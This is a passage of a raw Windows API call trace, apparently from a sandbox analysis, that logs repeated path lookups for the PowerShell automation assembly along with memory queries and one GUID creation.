nBufferLength=0x105, lpBuffer=0x2bde30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.577] GetLastError () returned 0x0 [0149.577] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.577] GetLastError () returned 0x0 [0149.578] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.578] GetLastError () returned 0x0 [0149.578] VirtualQuery (in: lpAddress=0x2bd2e0, lpBuffer=0x2be2e0, dwLength=0x1c | out: lpBuffer=0x2be2e0*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.578] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.578] GetLastError () returned 0x0 [0149.578] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.578] GetLastError () returned 0x0 [0149.579] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.579] GetLastError () returned 0x0 [0149.579] VirtualQuery (in: lpAddress=0x2bd2e0, lpBuffer=0x2be2e0, dwLength=0x1c | out: lpBuffer=0x2be2e0*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.579] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.579] GetLastError () returned 0x0 [0149.579] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.579] GetLastError () returned 0x0 [0149.579] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.579] GetLastError () returned 0x0 [0149.580] VirtualQuery (in: lpAddress=0x2bd2e0, lpBuffer=0x2be2e0, dwLength=0x1c | out: lpBuffer=0x2be2e0*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.580] VirtualQuery (in: lpAddress=0x2bd278, lpBuffer=0x2be278, dwLength=0x1c | out: lpBuffer=0x2be278*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.580] VirtualQuery (in: lpAddress=0x2bd2b4, lpBuffer=0x2be2b4, dwLength=0x1c | out: lpBuffer=0x2be2b4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.582] VirtualQuery (in: lpAddress=0x2bd278, lpBuffer=0x2be278, dwLength=0x1c | out: lpBuffer=0x2be278*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.582] VirtualQuery (in: lpAddress=0x2bd2b4, lpBuffer=0x2be2b4, dwLength=0x1c | out: lpBuffer=0x2be2b4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.582] VirtualQuery (in: lpAddress=0x2bd2b4, lpBuffer=0x2be2b4, dwLength=0x1c | out: lpBuffer=0x2be2b4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.583] VirtualQuery (in: lpAddress=0x2bd278, lpBuffer=0x2be278, dwLength=0x1c | out: lpBuffer=0x2be278*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.583] VirtualQuery (in: lpAddress=0x2bd2b4, lpBuffer=0x2be2b4, dwLength=0x1c | out: lpBuffer=0x2be2b4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.583] VirtualQuery (in: lpAddress=0x2bd278, lpBuffer=0x2be278, dwLength=0x1c | out: lpBuffer=0x2be278*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.583] VirtualQuery (in: lpAddress=0x2bd2b4, lpBuffer=0x2be2b4, dwLength=0x1c | out: lpBuffer=0x2be2b4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.583] VirtualQuery (in: lpAddress=0x2bd278, lpBuffer=0x2be278, dwLength=0x1c | out: lpBuffer=0x2be278*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.586] VirtualQuery (in: lpAddress=0x2bd2b4, lpBuffer=0x2be2b4, dwLength=0x1c | out: lpBuffer=0x2be2b4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.586] VirtualQuery (in: lpAddress=0x2bd11c, lpBuffer=0x2be11c, dwLength=0x1c | out: lpBuffer=0x2be11c*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.586] VirtualQuery (in: lpAddress=0x2bd278, lpBuffer=0x2be278, dwLength=0x1c | out: lpBuffer=0x2be278*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.587] VirtualQuery (in: lpAddress=0x2bd2b4, lpBuffer=0x2be2b4, dwLength=0x1c | out: lpBuffer=0x2be2b4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.587] VirtualQuery (in: lpAddress=0x2bd278, lpBuffer=0x2be278, dwLength=0x1c | out: lpBuffer=0x2be278*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.587] VirtualQuery (in: lpAddress=0x2bd2b4, lpBuffer=0x2be2b4, dwLength=0x1c | out: lpBuffer=0x2be2b4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.587] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x420c7ca3, Data2=0xe3f8, Data3=0x4e7c, Data4=([0]=0xab, [1]=0x18, [2]=0x22, [3]=0x1e, [4]=0x25, [5]=0xf, [6]=0xd0, [7]=0xdf))) returned 0x0 [0149.588] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdd38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.588] GetLastError () returned 0x0 [0149.588] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdce8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.588] GetLastError () returned 0x0 [0149.588] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdce8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.588] GetLastError () returned 0x0 [0149.588] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdd38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.588] GetLastError () returned 0x0 [0149.588] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdce8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.589] GetLastError () returned 0x0 [0149.589] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdce8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.589] GetLastError () returned 0x0 [0149.589] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.589] GetLastError () returned 0x0 [0149.589] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.589] GetLastError () returned 0x0 [0149.589] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.589] GetLastError () returned 0x0 [0149.589] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.589] GetLastError () returned 0x0 [0149.590] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.590] GetLastError () returned 0x0 [0149.590] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.590] GetLastError () returned 0x0 [0149.590] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.590] GetLastError () returned 0x0 [0149.590] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.590] GetLastError () returned 0x0 [0149.590] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.590] GetLastError () returned 0x0 [0149.590] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.590] GetLastError () returned 0x0 [0149.591] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.591] GetLastError () returned 0x0 [0149.591] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.591] GetLastError () returned 0x0 [0149.591] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.591] GetLastError () returned 0x0 [0149.591] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.591] GetLastError () returned 0x0 [0149.591] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.591] GetLastError () returned 0x0 [0149.591] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdd90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.591] GetLastError () returned 0x0 [0149.592] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.592] GetLastError () returned 0x0 [0149.592] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.592] GetLastError () returned 0x0 [0149.592] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.592] GetLastError () returned 0x0 [0149.592] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.592] GetLastError () returned 0x0 [0149.592] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.592] GetLastError () returned 0x0 [0149.592] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.592] GetLastError () returned 0x0 [0149.593] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.593] GetLastError () returned 0x0 [0149.593] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.593] GetLastError () returned 0x0 [0149.593] VirtualQuery (in: lpAddress=0x2bd2e0, lpBuffer=0x2be2e0, dwLength=0x1c | out: lpBuffer=0x2be2e0*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.594] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.594] GetLastError () returned 0x0 [0149.594] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.594] GetLastError () returned 0x0 [0149.594] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.594] GetLastError () returned 0x0 [0149.594] VirtualQuery (in: lpAddress=0x2bd2e0, lpBuffer=0x2be2e0, dwLength=0x1c | out: lpBuffer=0x2be2e0*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.594] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.594] GetLastError () returned 0x0 [0149.595] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.595] GetLastError () returned 0x0 [0149.595] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.595] GetLastError () returned 0x0 [0149.595] VirtualQuery (in: lpAddress=0x2bd2e0, lpBuffer=0x2be2e0, dwLength=0x1c | out: lpBuffer=0x2be2e0*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.595] VirtualQuery (in: lpAddress=0x2bd278, lpBuffer=0x2be278, dwLength=0x1c | out: lpBuffer=0x2be278*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.595] VirtualQuery (in: lpAddress=0x2bd2b4, lpBuffer=0x2be2b4, dwLength=0x1c | out: lpBuffer=0x2be2b4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.597] VirtualQuery (in: lpAddress=0x2bd278, lpBuffer=0x2be278, dwLength=0x1c | out: lpBuffer=0x2be278*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.597] VirtualQuery (in: lpAddress=0x2bd2b4, lpBuffer=0x2be2b4, dwLength=0x1c | out: lpBuffer=0x2be2b4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.597] VirtualQuery (in: lpAddress=0x2bd2b4, lpBuffer=0x2be2b4, dwLength=0x1c | out: lpBuffer=0x2be2b4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.598] VirtualQuery (in: lpAddress=0x2bd278, lpBuffer=0x2be278, dwLength=0x1c | 